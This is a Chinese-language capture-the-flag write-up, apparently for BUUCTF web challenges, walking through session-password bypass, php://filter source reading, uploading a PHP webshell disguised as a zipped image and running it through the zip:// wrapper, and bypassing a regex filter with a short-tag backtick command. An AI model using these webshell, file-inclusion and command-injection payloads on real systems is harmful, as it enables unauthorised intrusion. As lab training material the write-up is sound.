
已进入页面,以为是这道题的环境不对,可是查看f12竟然有东西,然后查一下405
请求方式有误,比如应该用GET请求方式的资源,用了POST
改为post请求方式,出现源码,然后就是sha1函数漏洞,数组绕过即可

打开界面不允许注册,page传参的过程中page=login,因为我以前见过的都是login.php所以这感觉会有些问题,试一下伪协议读取源码

应该能读取到的,上面的登录没有后缀.php所以我觉得可能是默认加上.php猜测

require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>
然后继续访问secret.php
$secret_seed = mt_rand();
?>
上面的文件代码的意思也就是password是从cookie中随机整数拼凑而成,肯定还有一个文件去使用他俩我们找一下,

这里,因为是自动加上了.php所以,试一下admin/user是不是一个文件,解码获得
- error_reporting(0);
- session_start();
- $logined = false;
- if (isset($_POST['username']) and isset($_POST['password'])){
- if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself
- $logined = true;
- $_SESSION['status'] = $logined;
- }
- }
- if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
- echo "";
- die();
- }
- ?>
从这里我们知道了username,password是cookie随机拼凑而成,所以我们可以删除掉cookie,这样我们密码为空,就可以相等

删除掉cookie得值,可是限制了密码不能为空,看一下密码得文本框源码
这里有个require,删除掉就可以输入空白

这有上传照片得功能,源码就是下面
- if(isset($_FILES['Files']) and $_SESSION['status'] === true){
- $tmp_file = $_FILES['Files']['name'];
- $tmp_path = $_FILES['Files']['tmp_name'];
- if(($extension = pathinfo($tmp_file)['extension']) != ""){//文件的后缀不能为空
- $allows = array('gif','jpeg','jpg','png');//白名单
- if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
- $upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
- move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);//更改上传文件得位置
- echo "";
- } else {
- echo "";
- }
- }
- }
- ?>
可以看到,他设置了白名单,但我想传一句话木马上去,而且上传成功的话他会告诉你上传的路径,然后再用之前可以传的page参数可以解析伪协议的,但是并不确定是否可以php文件也会被解析,先不想那么多,做来看。坚定了我传木马的决心,这里想到了将php文件打包成zip,改后缀名为jpg,再利用zip伪协议进行读取。zip协议是可以解压缩jpg后缀的压缩包的。
构造
的php然后压缩,把zip改为白名单中的png

上传成功, 获得路径,然后访问一下路径看文件是否真的上传成功

上传成功,然后使用zip这个伪协议
zip:// + zip路径 + %23 + php文件名 (由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23)
http://82165fb2-5d53-4a86-a386-04058d68f23c.node4.buuoj.cn:81/?page=zip://./assets/img/upload/901edcb2cb7e73704f556f4c50d8b1ee3e7f428d.jpg%231
这里不加.php后缀是因为在index.php包含的时候默认加上了,还要注意zip协议后面跟的是./因为没有去看绝对路径。
然后通过post传参shell=system('ls');获取目录,最后获得flag
打开界面,发现了源码,进行审计
- error_reporting(0);
- highlight_file(__FILE__);
- function check($input){
- if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
- // if(preg_match("/'| |_|=|php/",$input)){
- die('hacker!!!');
- }else{
- return $input; //这个实现的主要就是正则过滤
- }
- }
-
- function waf($input){
- if(is_array($input)){
- foreach($input as $key=>$output){
- $input[$key] = waf($output);
- }
- }else{
- $input = check($input);
- }
- }
-
- $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; //沙箱,和ip的md加密链接在一起
- if(!file_exists($dir)){ //如果文件不存在就创建一个
- mkdir($dir);
- }
- switch($_GET["action"] ?? "") {
- case 'pwd':
- echo $dir; //从这可以获得dir目录
- break;
- case 'upload':
- $data = $_GET["data"] ?? "";
- waf($data);
- file_put_contents("$dir" . "index.php", $data);
- //这把命令写入前面的文件中,如果我们写入一个一句话木马应该可以ak
- }
- ?>
整体看下来,要执行check过滤函数,我们就需要执行,waf的else部分,然后过滤掉了php、eval可以用PHP短标签进行绕过,比如
=`ls%09/`?>然后传参就可以获得flag
第一步,获得dir
sandbox/c47b21fcf8f0bc8b3920541abd8024fd/

第二步get 传参

然后我们可以访问刚才获得沙箱界面查看回显

这里注意过滤掉了空格可以用 %09或\t代替
=`ls%09/`?>
=`ls\t/`?>